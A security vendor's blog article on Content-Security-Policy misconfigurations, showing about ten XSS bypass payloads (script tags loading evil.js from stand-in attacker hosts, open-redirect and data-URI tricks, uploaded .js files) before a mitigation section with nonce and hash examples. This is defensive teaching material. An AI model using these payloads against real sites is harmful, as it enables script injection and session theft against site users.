code

Bypassing Content-Security-Policy (CSP)

Written by Sagiv Michael on

Bypassing Content-Security-Policy (CSP)

Written by Sagiv Michael on


Introduction

Web applications are becoming increasingly complex, offering users a wide array of features. However, this complexity comes with a heightened risk of security vulnerabilities. One common and serious threat is Cross-site Scripting (XSS), where malicious actors inject harmful code into web applications, potentially leading to unauthorized access to sensitive data and identity theft.

To address these risks and enhance the security of web applications, Content-Security-Policy (CSP) emerges as a pivotal standard. CSP is a set of security guidelines and directives that web administrators can implement. These directives instruct web browsers on where to fetch content from and what to steer clear of, minimizing the likelihood of malicious code infiltrating the application.

In this article, we will dive into the world of CSP and its important role in elevating web application security. Our exploration will include understanding how adversaries exploit CSP misconfigurations to deceive users and carry out attacks. Additionally, we will discuss effective measures to prevent such malicious exploits, ensuring that your web application remains resilient and secure.

How Does CSP Work?

CSP is implemented using specific HTTP headers or within HTML meta tags. When a browser receives a page with a CSP header, it only executes or renders resources from the whitelisted sources specified in the policy. Any other attempts to load or execute resources from non-whitelisted sources will be blocked, and an error will be reported.

Content-Security-Policy Misconfiguration

This section will demonstrate how inadequate configurations can be exploited and trigger a successful arbitrary JavaScript execution using different examples, leading to a Cross-site Scripting (XSS) attack.

Scenario

An attacker can perform a successful account takeover (for example) by utilizing Cross-Site-Scripting (XSS) attacks to steal essential data, such as a session or authentication token. For that to happen, a few things should not be enabled on your web application, such as:

  1. User input shouldn’t be sanitized or encoded with HTML entities.
  2. Cross-Origin Resource Sharing should be permissive or not enabled at all.
  3. The HttpOnly cookie attribute should not be set.
  4. The SameSite cookie attribute should be set to None or not set at all.

Although these many vectors should not be applied for an attacker to carry such an attack, it is still very common today, and we often encounter it in our penetration testing.

Exploitations

The following are examples of common Content Security Policy (CSP) misconfigurations that can inadvertently allow malicious script execution, including allowing scripts from any origin, permitting unsafe-inline scripts, unintentionally enabling scripts from subdomains, and more, which potentially lead to security vulnerabilities such as Cross-Site-Scripting (XSS) attacks:

The below CSP configuration enables the execution of external JavaScript from any origin (domain):

Content-Security-Policy: script-src *

An attacker could simply inject a script tag from any source with the following script:

<script src="https://malicious.com/evil.js"></script><script src="https://malicious.com/evil.js"></script>

The below CSP configurations allow the execution of inline scripts and styles:

Content-Security-Policy: script-src 'unsafe-inline'

An attacker can inject inline scripts, such as the following:

<script>alert('XSS Attack!');</script>

The below CSP configuration allows the execution of an external script from all subdomains of example.com.

Content-Security-Policy: script-src *.example.com

For example, an attacker who gained control over one of the subdomains (Subdomains Takeover) of example.com can force the web application to load a JavaScript from that subdomain:

<script src="https://malicious.example.com/evil.js"></script>

The below CSP configuration allows execution of string literal functions such as “eval()”, “setInterval()”, and “setTimeout()”:

Content-Security-Policy: script-src 'unsafe-eval'

An attacker could exploit user input to execute code via eval:

var userInput = "alert('XSS Attack!');";

eval(userInput);

The below CSP configuration depends on the HTTP scheme only:

Content-Security-Policy: script-src https:

An attacker could inject a script from any HTTPS source:

<script src="https://any-https-site.com/evil.js"></script>

The below CSP configuration enables object-src and default-src tags:

script-src 'self'

An attacker can use object tags to execute JavaScript code:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

Advanced Content-Security-Policy Exploitation

In this scenario, the CSP sets the script source to ‘self’, meaning that only scripts originating from the same domain as the website is allowed. The object source is set to ‘none’, disallowing any objects to be embedded within the page.

script-src 'self'; object-src 'none';

However, a vulnerability is present if the web application allows users to upload files that are served from the same domain as the application (hence, complying with the ‘self’ directive for scripts).

An attacker could take advantage of this by uploading a file with a malicious JavaScript code, renaming it to have a .js extension, and then referencing that file within a script tag on the site. Since the malicious file is hosted on the same domain as the website, the script-src ‘self’ directive would permit its execution.

The attacker uploads a malicious file, renames a file containing malicious JavaScript code to mypic.png.js, for example, and uploads it to the application if it doesn’t correctly validate file types.

The attacker can then create a script tag that references the uploaded file, as follows:

<script src="/user_upload/mypic.png.js"></script>

If a user visits a page where this script is embedded, the JavaScript code within mypic.png.js will execute because it complies with the script-src ‘self’ directive.

The following CSP configuration allows scripts from a trusted domain, but if that domain has an open redirection vulnerability, it can load scripts from other domains.

script-src 'self' trusted.com

An attacker might use a URL, such as:

<script src="https://trusted.com/redirect?url=https://evil.com/evil.js"></script>

If trusted.com redirects to evil.com, the browser will still execute the script, as it only checks the initial URL against the policy.

The below CSP configuration allows scripts from the same origin and all data URIs. Data URIs can contain inline code, so this policy unintentionally permits inline scripting:

script-src 'self' data;

An attacker can craft a payload using a data URI containing JavaScript code, such as the following:

<script src="data:text/javascript,alert('XSS')"></script>

If embedded in the page, this script will execute because data URIs are allowed by the policy.

The below CSP configuration allows scripts from any domain as long as they are served on port 8080, creating a loophole for attackers.

script-src 'self' *:8080

The policy would permit execution, even though the domain is untrusted.

<script src="http://attacker-domain.com:8080/evil.js"></script>

Mitigation

First, it is important to understand that the content security policy rule comprises two distinct components:

  • The directive: This part signifies the specific resource type to which the rule is applicable.
  • The value: This part delineates the acceptable content for the identified resource, defining what is considered valid.

For all directives and values, check out the References section.

Working with Inline JavaScript

Here is an example of a CSP policy that can prevent an XSS attack, such as the one we demonstrated above:

Content-Security-Policy: script-src ‘self’

However, this might look like a quick fix, but there is a big downside to using the ‘self’  value with the script-src directive.
Specifying ‘self’ means that only scripts from the current origin (domain) can execute, and essential external scripts, such as jQuery, cannot be executed.

<script src="https://code.jquery.com/jquery-3.7.0.min.js"></script>

The current implementation of the script-src directive will be as follows:

Content-Security-Policy: script-src 'self' code.jquery.com

When implementing script-src ‘self’, it restricts the browser from running inline JavaScript as well, such as:

<script> alert('Greetings from the system!'); </script>

This limitation can happen with tools like Google Tag Manager. An alternative is to utilize the unsafe-inline keyword.

Content-Security-Policy: script-src 'self' 'unsafe-inline'

However, this approach is discouraged, as it allows the browser to execute all inline code, negating one of Content Security Policy’s main benefits.

A more robust solution is to generate a hash for the inline script. To do this, we can trigger the following error by script-src ‘self’ ‘unsafe-inline’ :

Refused to execute the inline script due to violation of the Content Security Policy directive: "script-src 'self'." You'll need the 'unsafe-inline' keyword, a specific hash ('sha256-ZxY7aB2cD3E4F5G6H7I8J9K0L1M2N3O4P5Q6R7S8T9U0='), or a nonce to enable inline execution.

We can now use the generated hash with our content security policy:

Content-Security-Policy: script-src 'self' 'sha256-ZxY7aB2cD3E4F5G6H7I8J9K0L1M2N3O4P5Q6R7S8T9U0='

This works well for static inline scripts but needs more dynamically generated JavaScript.

To deal with dynamic JavaScript, a nonce must be created for the <script>  tag and the Content-Security-Policy header, unique to each response. With libraries like express, helmet (for better security practices), and UUID, this can be done as follows:

index.js

const express = require(‘express’)
const helmet = require(‘helmet’);
const { v4: uuidv4 } = require(‘uuid’);
const app = express()
app.set(‘view engine’, ‘ejs’);
app.use(helmet());
app.get(‘/’, (req, res) => {
  const nonce = uuidv4(); 
  const csp = `script-src ‘self’ ‘nonce-${nonce}’`; 
res.set(“Content-Security-Policy”, csp);
res.render(‘index’, { nonce: nonce, mode: ‘development’ }); 
});
app.listen(5000, () => {
   console.log(‘Application is live on port 5000’); 
})

index.ejs

<!DOCTYPE html> 
<html> 
    <head> 
        <script nonce=”<%= nonce %>”>
           window.mode = ‘<%= mode %>’;
        </script>
    </head>
    <body> 
    </body> 
</html>

For more complex Content-Security policies, there is an online calculator called CSP Evaluator (link to the website in the References page) that can help determine whether your policies are implemented correctly:

CSP Evaluator Online Calculator

If you have encountered any of the above scenarios, please follow the below instructions provided by Clear Gate for immediate mitigation and to prevent client’s side attacks further:

  • Explicitly define the allowed domains within the CSP rather than using the wildcard. Specify only the trusted sources and avoid using wildcards.
  • Remove the ‘unsafe-inline’ directive and use nonces or hashes to allow specific inline scripts, if needed.
  • Be more restrictive with subdomains. List only those that are known to be safe.
  • Remove the ‘unsafe-eval’ directive and avoid using eval-like functions within your application.
  • Specify the exact domains allowed rather than any HTTPS source.
  • Include the missing object-src and default-src directives to tighten the policy.
  • Validate file types and enforce proper handling of uploaded files to prevent them from being executed as scripts.
  • Remove the data scheme from the CSP to prevent the execution of inline scripts via data URIs.
  • Implement proper enforcement instead of only reporting the violations.
  • Specify the allowed domains explicitly instead of relying on the port. Only allow sources that are known to be safe.

Conclusion

Implementing Content-Security-Policy (CSP) is crucial in securing web applications against common vulnerabilities such as Cross-Site Scripting (XSS). This article has provided an in-depth analysis of various misconfigurations and bypass techniques that could lead to potential security breaches.

Through a comprehensive exploration of ten different examples, the article revealed that CSP must be carefully configured, considering the application’s specific requirements. Utilizing wildcard characters, permitting unsafe directives, or failing to include all necessary directives could expose the application to malicious code execution.

In conclusion, while CSP is a powerful tool for enhancing web security, its effectiveness is contingent on thoughtful implementation and continuous oversight. Adhering to best practices and avoiding common pitfalls can build a robust defense against potential attacks, protecting the application’s integrity and users’ privacy. Proper CSP configuration, regular security audits, and vigilance towards emerging threats will be a strong foundation for maintaining a secure web environment.

Organizations should prioritize cyber security risk assessments and penetration tests to mitigate risks in Content-Security-Policy deployments, which have become increasingly popular among companies developing SaaS products. Clear Gate, a trusted cybersecurity provider, offers in-depth manual penetration tests to help organizations strengthen their security and protect valuable data from potential threats.

References